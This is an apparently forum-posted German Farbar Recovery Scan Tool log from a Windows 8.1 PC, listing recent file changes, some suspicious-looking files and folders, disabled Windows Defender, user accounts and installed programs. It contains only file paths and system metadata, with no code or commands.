2017-05-11 14:18 - 2017-04-16 09:47 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-05-11 14:18 - 2017-04-16 09:43 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-05-11 14:18 - 2017-04-16 09:40 - 00378880 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:37 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:29 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-05-11 14:18 - 2017-04-16 09:24 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 09:23 - 00128000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iepeers.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\rpcss.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 09:17 - 00880640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:12 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 15250944 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00330752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 04548608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:04 - 03241472 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-05-11 14:18 - 2017-04-16 09:02 - 00267776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wincorlib.dll
2017-05-11 14:18 - 2017-04-16 08:53 - 13661184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-05-11 14:18 - 2017-04-16 08:50 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:40 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-05-11 14:18 - 2017-04-16 08:37 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-05-11 14:18 - 2017-04-10 00:00 - 01548640 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys
2017-05-11 14:18 - 2017-04-10 00:00 - 00388448 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys
2017-05-11 14:18 - 2017-04-08 01:20 - 01375960 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-05-11 14:18 - 2017-04-07 15:56 - 01094656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-05-11 14:18 - 2017-04-02 18:41 - 00684544 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv2.sys
2017-05-11 14:18 - 2017-04-02 18:41 - 00414720 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv.sys
2017-05-11 14:18 - 2017-04-01 01:16 - 01968408 _____ (Microsoft Corporation) C:\Windows\system32\crypt32.dll
2017-05-11 14:18 - 2017-03-31 23:59 - 01612504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\crypt32.dll
2017-05-11 14:03 - 2017-05-11 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\NPASRE
2017-05-10 16:11 - 2017-05-10 16:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\My Games
2017-05-09 18:05 - 2017-05-09 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-4d03-1
2017-05-09 18:05 - 2017-05-09 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-1147-0
2017-05-09 13:11 - 2017-05-09 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\VNASRE
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{636564e6-512c-0}
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{55b52545-312c-1}
2017-05-08 20:37 - 2017-05-13 20:17 - 00000000 ____D C:\ProgramData\{055b525f-612c-0}
2017-05-08 18:05 - 2017-05-08 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3db3-1
2017-05-08 18:05 - 2017-05-08 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-2227-0
2017-05-08 16:50 - 2017-05-08 16:50 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\ANSARE
2017-05-08 16:43 - 2017-05-08 16:43 - 00000000 ____D C:\Users\Public\Documents\temp
2017-05-08 16:43 - 2017-05-08 16:43 - 00000000 ____D C:\Users\Public\Documents\chrome
2017-05-08 00:05 - 2017-05-08 00:05 - 00000000 ____D C:\ProgramData\f9d60eee-6423-0
2017-05-08 00:05 - 2017-05-08 00:05 - 00000000 ____D C:\ProgramData\f9d60eee-13c7-1
2017-05-07 18:05 - 2017-05-07 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6415-1
2017-05-07 18:05 - 2017-05-07 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3141-0
2017-05-07 15:12 - 2017-05-25 16:04 - 00000000 ____D C:\ProgramData\Orbit
2017-05-07 15:12 - 2017-05-07 15:12 - 00281688 _____ C:\Windows\SysWOW64\PnkBstrB.xtr
2017-05-07 15:12 - 2017-05-07 15:12 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\PunkBuster
2017-05-07 15:06 - 2017-05-25 16:04 - 00000000 ____D C:\Users\Nick Schuster\Documents\My Games
2017-05-07 14:58 - 2017-05-11 23:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Ubisoft Game Launcher
2017-05-07 14:51 - 2017-05-07 14:51 - 00000000 ____D C:\Windows\System32\Tasks\Games
2017-05-07 14:41 - 2017-05-07 14:41 - 00282512 _____ C:\Windows\SysWOW64\PnkBstrB.ex0
2017-05-07 14:41 - 2017-05-07 14:41 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Ubisoft
2017-05-07 14:38 - 2017-05-07 14:38 - 00394296 _____ (Duplex Secure Ltd.) C:\Windows\system32\Drivers\sptd.sys
2017-05-07 14:03 - 2017-05-07 14:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Disc_Soft_Ltd
2017-05-07 13:50 - 2017-05-07 13:50 - 00000000 ____D C:\Users\Public\Documents\Daemon Tools Images
2017-05-07 13:14 - 2017-05-07 13:53 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Lite
2017-05-07 13:14 - 2017-05-07 13:14 - 00047672 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtliteusbbus.sys
2017-05-07 13:14 - 2017-05-07 13:14 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtlitescsibus.sys
2017-05-07 13:13 - 2017-05-07 13:13 - 00000000 ____D C:\ProgramData\DAEMON Tools Lite
2017-05-05 18:05 - 2017-05-05 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ba3-1
2017-05-05 18:05 - 2017-05-05 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-0291-0
2017-05-05 18:00 - 2017-05-05 18:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WinRAR
2017-05-05 14:10 - 2017-05-31 13:47 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\background_fault
2017-05-05 14:10 - 2017-05-05 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\WANARE
2017-05-05 14:10 - 2017-05-05 14:10 - 00000000 ____D C:\ProgramData\BIT
2017-05-04 00:06 - 2017-05-04 00:06 - 00000000 ____D C:\ProgramData\f9d60eee-5a03-0
2017-05-04 00:05 - 2017-05-04 00:06 - 00000000 ____D C:\ProgramData\f9d60eee-1c67-1

==================== Ein Monat: Ge鋘derte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-03 14:01 - 2013-08-22 15:36 - 00000000 ____D C:\Windows\Inf
2017-06-03 13:59 - 2016-11-16 18:46 - 00000000 _____ C:\Users\Public\Documents\report.dat
2017-06-03 13:59 - 2016-11-16 18:44 - 00000200 _____ C:\Users\Public\Documents\temp.dat
2017-06-03 13:58 - 2017-02-20 22:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Mozilla
2017-06-03 13:58 - 2016-07-31 16:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CrashDumps
2017-06-03 13:58 - 2015-12-26 17:46 - 00000000 __RDO C:\Users\Nick Schuster\OneDrive
2017-06-03 13:57 - 2015-12-26 22:26 - 00000180 _____ C:\Windows\system32\{A6D608F0-0BDE-491A-97AE-5C4B05D86E01}.bat
2017-06-03 13:57 - 2015-12-26 17:53 - 00000000 __SHD C:\Users\Nick Schuster\IntelGraphicsProfiles
2017-06-03 13:57 - 2013-08-22 16:45 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-06-02 16:14 - 2016-06-01 16:03 - 01862144 ___SH C:\Users\Nick Schuster\Downloads\Thumbs.db
2017-06-02 14:40 - 2015-12-26 16:48 - 00003596 _____ C:\Windows\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-3847841184-804715454-2304624315-1001
2017-06-01 23:52 - 2013-08-22 15:25 - 00262144 ___SH C:\Windows\system32\config\BBI
2017-06-01 21:52 - 2013-08-22 15:36 - 00000000 ____D C:\Program Files\Quick Tharks Screen Saver
2017-06-01 19:26 - 2015-12-29 20:54 - 00000000 ____D C:\Windows\pss
2017-06-01 12:01 - 2016-07-05 17:55 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adblock Plus for IE
2017-06-01 12:00 - 2017-03-17 12:20 - 00003614 _____ C:\Windows\System32\Tasks\Milimili
2017-06-01 12:00 - 2017-03-17 12:19 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc
2017-06-01 12:00 - 2014-11-21 05:35 - 01776918 _____ C:\Windows\system32\PerfStringBackup.INI
2017-06-01 12:00 - 2014-11-21 04:45 - 00765582 _____ C:\Windows\system32\perfh007.dat
2017-06-01 12:00 - 2014-11-21 04:45 - 00159366 _____ C:\Windows\system32\perfc007.dat
2017-06-01 00:15 - 2017-01-03 13:21 - 00000000 ____D C:\ProgramData\windows
2017-05-31 17:34 - 2017-02-12 14:31 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Bluestacks
2017-05-31 17:34 - 2013-08-22 17:36 - 00000000 __RHD C:\Users\Public\Libraries
2017-05-31 17:31 - 2016-06-14 20:57 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Sony
2017-05-31 16:11 - 2017-03-16 13:19 - 00001312 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-05-31 14:36 - 2016-11-23 19:13 - 01784108 _____ C:\spyhunter.fix
2017-05-31 13:52 - 2016-09-17 17:56 - 00000000 ____D C:\ProgramData\Apple
2017-05-31 12:18 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{E291433F-553A-F494-7993-5DB4F74EF600}
2017-05-31 12:18 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{1F88CA98-A823-7D33-19C2-25D7F85A3115}
2017-05-31 10:46 - 2017-03-17 14:02 - 00000000 ____D C:\Program Files (x86)\Mozilla Maintenance Service
2017-05-30 19:32 - 2016-10-08 16:17 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Deployment
2017-05-30 14:12 - 2016-12-27 21:45 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2017-05-30 14:11 - 2015-12-27 21:26 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Google
2017-05-30 14:05 - 2017-02-03 12:28 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Samsung
2017-05-30 14:05 - 2017-02-03 12:27 - 00000000 ____D C:\Program Files (x86)\Samsung
2017-05-30 14:05 - 2016-10-23 18:05 - 00000000 ____D C:\ProgramData\Samsung
2017-05-29 23:08 - 2017-02-13 16:13 - 00000000 ____D C:\Program Files (x86)\Minecraft
2017-05-29 23:08 - 2016-12-10 12:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\.minecraft
2017-05-29 22:00 - 2016-01-02 17:50 - 00000306 __RSH C:\ProgramData\ntuser.pol
2017-05-29 21:59 - 2016-10-12 16:07 - 00000000 ____D C:\Program Files\Image-Line
2017-05-27 11:41 - 2016-01-11 18:42 - 07413248 ___SH C:\Users\Nick Schuster\Desktop\Thumbs.db
2017-05-26 18:19 - 2016-11-18 17:58 - 00000000 ____D C:\Program Files (x86)\Steam
2017-05-26 10:55 - 2016-01-04 18:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\SUPPORTDIR
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\install_backup
2017-05-25 15:49 - 2017-02-03 12:27 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-25 15:49 - 2016-10-13 22:01 - 00000000 ____D C:\ProgramData\TEMP
2017-05-25 12:06 - 2017-04-13 12:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\SNARE
2017-05-24 11:40 - 2017-02-27 11:37 - 00000000 ____D C:\ProgramData\CanonIJPLM
2017-05-23 15:40 - 2013-08-22 17:20 - 00000000 ____D C:\Windows\CbsTemp
2017-05-23 15:34 - 2015-12-28 20:55 - 132223576 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-05-23 15:34 - 2015-12-28 20:55 - 00000000 ____D C:\Windows\system32\MRT
2017-05-22 21:46 - 2015-12-27 00:10 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Skype
2017-05-22 21:24 - 2016-09-24 19:16 - 00000000 ____D C:\ProgramData\Package Cache
2017-05-22 21:24 - 2015-12-27 00:10 - 00002715 _____ C:\Users\Public\Desktop\Skype.lnk
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ___RD C:\Program Files (x86)\Skype
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ____D C:\ProgramData\Skype
2017-05-21 19:04 - 2015-12-26 22:50 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-05-21 19:03 - 2017-02-26 13:05 - 00000991 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-05-21 19:03 - 2017-02-26 13:05 - 00000979 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-05-17 21:05 - 2015-12-28 13:23 - 00000000 ____D C:\Users\Nick Schuster\Desktop\982652986578268672
2017-05-17 18:44 - 2016-08-20 12:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\TeamViewer
2017-05-17 17:00 - 2016-09-14 15:11 - 00000000 ____D C:\Users\Nick Schuster\AppData\LocalLow\Adobe
2017-05-17 16:58 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-05-17 16:41 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\FxsTmp
2017-05-16 15:15 - 2017-03-07 15:40 - 00000000 ____D C:\Users\Nick Schuster\.gimp-2.8
2017-05-14 22:50 - 2017-03-16 23:29 - 00000000 ____D C:\Users\Nick Schuster\Desktop\fl studio songs
2017-05-14 16:21 - 2016-07-31 16:03 - 05282048 _____ C:\Windows\system32\FNTCACHE.DAT
2017-05-14 16:16 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\PolicyDefinitions
2017-05-13 00:45 - 2017-02-12 16:33 - 00000000 ____D C:\Users\Nick Schuster\Desktop\BSHelper
2017-05-11 15:22 - 2017-05-03 15:17 - 00000000 _____ C:\Windows\SysWOW64\1111111
2017-05-11 15:22 - 2017-04-20 12:31 - 00000000 _____ C:\Windows\SysWOW64\22
2017-05-11 15:22 - 2017-04-20 12:31 - 00000000 _____ C:\Windows\SysWOW64\11
2017-05-11 15:18 - 2016-09-17 17:52 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\vlc
2017-05-09 18:25 - 2016-11-08 22:46 - 00004496 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier
2017-05-09 18:25 - 2016-10-13 18:22 - 00004342 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-05-09 17:25 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\Macromed
2017-05-08 20:37 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{30a66e80-412c-0}
2017-05-08 20:37 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{0f4d7d53-512c-0}
2017-05-08 20:37 - 2017-05-03 20:46 - 00000000 ____D C:\ProgramData\{00d223fb-612c-1}
2017-05-07 13:44 - 2017-04-10 13:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AMD
2017-05-07 13:41 - 2017-03-17 12:20 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Kyubey
2017-05-07 13:38 - 2017-04-19 14:08 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\3DM
2017-05-07 13:34 - 2017-04-06 23:28 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\clean
2017-05-07 13:16 - 2016-12-17 15:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Chromium
2017-05-07 12:24 - 2017-05-03 17:06 - 00000000 _____ C:\Windows\SysWOW64\4
2017-05-05 17:00 - 2017-04-26 17:00 - 00000000 ____D C:\Insist
2017-05-05 17:00 - 2017-03-30 21:00 - 00003520 _____ C:\Windows\System32\Tasks\Windows-PG
2017-05-05 16:02 - 2017-04-25 13:12 - 00000000 ____D C:\Windows\psgo
2017-05-04 00:15 - 2017-05-03 17:35 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Apple Computer
2017-05-04 00:15 - 2017-05-03 17:35 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Apple Computer

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2016-12-12 23:28 - 2016-12-12 23:28 - 0001120 _____ () C:\Users\Nick Schuster\AppData\Roaming\.minecraft - Verkn黳fung.lnk
2010-08-28 22:43 - 2010-08-28 22:43 - 0096256 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinApi.dll
2010-08-28 22:43 - 2010-08-28 22:43 - 0060928 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinUsbApi.dll
2016-07-31 15:02 - 2016-07-31 15:02 - 7129600 _____ () C:\Users\Nick Schuster\AppData\Roaming\agent.dat
2017-01-03 13:27 - 2017-01-03 13:20 - 1052256 _____ () C:\Users\Nick Schuster\AppData\Roaming\avv.exe
2016-07-31 15:01 - 2016-07-31 15:01 - 0129024 _____ () C:\Users\Nick Schuster\AppData\Roaming\Installer.dat
2016-07-31 15:02 - 2016-07-31 15:02 - 0018432 _____ () C:\Users\Nick Schuster\AppData\Roaming\Main.dat
2016-07-31 15:03 - 2016-02-18 10:10 - 5267952 _____ () C:\Users\Nick Schuster\AppData\Roaming\ziptool_wc-9015_setup.exe
2017-04-04 00:34 - 2017-04-04 13:52 - 0000000 _____ () C:\Users\Nick Schuster\AppData\Roaming\Microsoft\taskhw.exe
2017-03-07 15:59 - 2017-03-07 15:59 - 0003330 _____ () C:\Users\Nick Schuster\AppData\Local\recently-used.xbel
2016-01-07 17:00 - 2016-12-17 21:05 - 0007598 _____ () C:\Users\Nick Schuster\AppData\Local\Resmon.ResmonCfg
2017-02-12 14:36 - 2017-04-22 20:22 - 0000552 _____ () C:\Users\Nick Schuster\AppData\Local\TroubleshooterConfig.json
2016-10-21 22:16 - 2016-10-23 18:04 - 0000158 _____ () C:\Users\Nick Schuster\AppData\Local\uts.ini

Einige Dateien in TEMP:
====================
C:\Users\Nick Schuster\AppData\Local\Temp\BluestacksUninstaller.exe
C:\Users\Nick Schuster\AppData\Local\Temp\HD-LibraryHandler.dll
C:\Users\Nick Schuster\AppData\Local\Temp\HD-Logger-Native.dll
C:\Users\Nick Schuster\AppData\Local\Temp\svhost.exe


==================== Bamital & volsnap =================

(Es ist kein automatischer Fix f黵 Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\Windows\system32\winlogon.exe => Datei ist digital signiert
C:\Windows\system32\wininit.exe => Datei ist digital signiert
C:\Windows\explorer.exe => Datei ist digital signiert
C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\Windows\system32\svchost.exe => Datei ist digital signiert
C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\Windows\system32\services.exe => Datei ist digital signiert
C:\Windows\system32\User32.dll => Datei ist digital signiert
C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\Windows\system32\userinit.exe => Datei ist digital signiert
C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\Windows\system32\rpcss.dll => Datei ist digital signiert
C:\Windows\system32\dnsapi.dll => Datei ist digital signiert
C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert


LastRegBack: 2017-05-23 15:34

==================== Ende von FRST.txt ============================
--- --- ---

[/CODE]

Code:

Zus鋞zliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version:13-04-2016
durchgef黨rt von Nick Schuster (2017-06-03 14:02:57)
Gestartet von C:\Users\Nick Schuster\AppData\Local\Microsoft\Windows\INetCache\IE\BPT3LC5O
Windows 8.1 (X64) (2015-12-26 14:37:47)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-3847841184-804715454-2304624315-500 - Administrator - Disabled)
Gast (S-1-5-21-3847841184-804715454-2304624315-501 - Limited - Disabled)
HomeGroupUser$ (S-1-5-21-3847841184-804715454-2304624315-1003 - Limited - Enabled)
Nick Schuster (S-1-5-21-3847841184-804715454-2304624315-1001 - Administrator - Enabled) => C:\Users\Nick Schuster

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" k鰊nen in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

Adobe After Effects CC 2015 (HKLM-x32\...\{147EC100-14BE-45EF-AB42-35BAEE7D02F0}) (Version: 13.6.1 - Adobe Systems Incorporated)
Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 3.1.0.4880 - Adobe Systems Incorporated)
Adobe Flash Player 25 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.171 - Adobe Systems Incorporated)
Adobe Photoshop CS6 Version 13.0.1 (HKLM-x32\...\{A724DC44-6241-42D3-BA57-778B178ABC17}_is1) (Version: 13.0.1 - Adobe Systems, Inc.)
ASIO4ALL (HKLM-x32\...\ASIO4ALL) (Version: 2.12 - Michael Tippach)
Canon Easy-WebPrint EX (HKLM-x32\...\Easy-WebPrint EX) (Version: 1.7.0.0 - Canon Inc.)
Canon IJ Network Scanner Selector EX (HKLM-x32\...\Canon_IJ_Network_Scanner_Selector_EX) (Version: 1.5.4.4 - Canon Inc.)
Canon IJ Network Tool (HKLM-x32\...\Canon_IJ_Network_UTILITY) (Version: 3.7.0 - Canon Inc.)
Canon IJ Scan Utility (HKLM-x32\...\Canon_IJ_Scan_Utility) (Version: 1.1.20.13 - Canon Inc.)
Canon Inkjet Printer/Scanner/Fax Extended Survey Program (HKLM-x32\...\CANONIJPLM100) (Version: 5.2.0 - Canon Inc.)
Canon MG5700 series Benutzerregistrierung (HKLM-x32\...\Canon MG5700 series Benutzerregistrierung) (Version:  - *Canon Inc.)
Canon MG5700 series MP Drivers (HKLM\...\{1199FAD5-9546-44f3-81CF-FFDB8040B7BF}_Canon_MG5700_series) (Version: 1.00 - Canon Inc.)
Canon My Printer (HKLM-x32\...\CanonMyPrinter) (Version: 3.3.0 - Canon Inc.)
Canon Quick Menu (HKLM-x32\...\CanonQuickMenu) (Version: 2.7.1 - Canon Inc.)
D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) Hidden
Equalizer APO (HKLM\...\EqualizerAPO) (Version: 1.1.2 - )
FL Studio 12 (HKLM-x32\...\FL Studio 12) (Version:  - Image-Line)
FL Studio 12.1.2 (HKLM\...\FL Studio 12.1.2_is1) (Version:  - )
FL Studio ASIO (HKLM\...\FL Studio ASIO) (Version:  - Image-Line)
FL Studio ASIO (HKLM-x32\...\FL Studio ASIO) (Version:  - Image-Line)
Fotogalerie (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
FreeOCR v5.4 (HKLM-x32\...\freeocr_is1) (Version:  - )
GIMP 2.8.20 (HKLM\...\GIMP-2_is1) (Version: 2.8.20 - The GIMP Team)
Google Update Helper (x32 Version: 1.3.33.5 - Google Inc.) Hidden
HandBrake 0.10.5 (HKLM-x32\...\HandBrake) (Version: 0.10.5 - )
initialpage123 - Uninstall (HKLM-x32\...\{F566FB96-67A4-4E6C-B262-2AE76A61F74F}) (Version:  - )
Intel(R) C++ Redistributables on Intel(R) 64 (HKLM-x32\...\{F70BCE36-25F2-4475-A918-6209B3D85BF3}) (Version: 15.0.179 - Intel Corporation)
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 20.19.15.4531 - Intel Corporation)
Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)
Junk Mail filter update (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
MegaDownloader 1.7 (HKLM\...\{C12C2297-65A4-4E64-9AE1-29F0D947FDA0}}_is1) (Version: 1.7 - AppsForMega.info)
Microsoft OneDrive (HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\OneDriveSetup.exe) (Version: 17.3.6799.0327 - Microsoft Corporation)
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{071c9b48-7c32-4621-a0ac-3f809523288f}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022.218 (HKLM-x32\...\{E503B4BF-F7BB-3D5F-8BC8-F694B1CFF942}) (Version: 9.0.21022.218 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
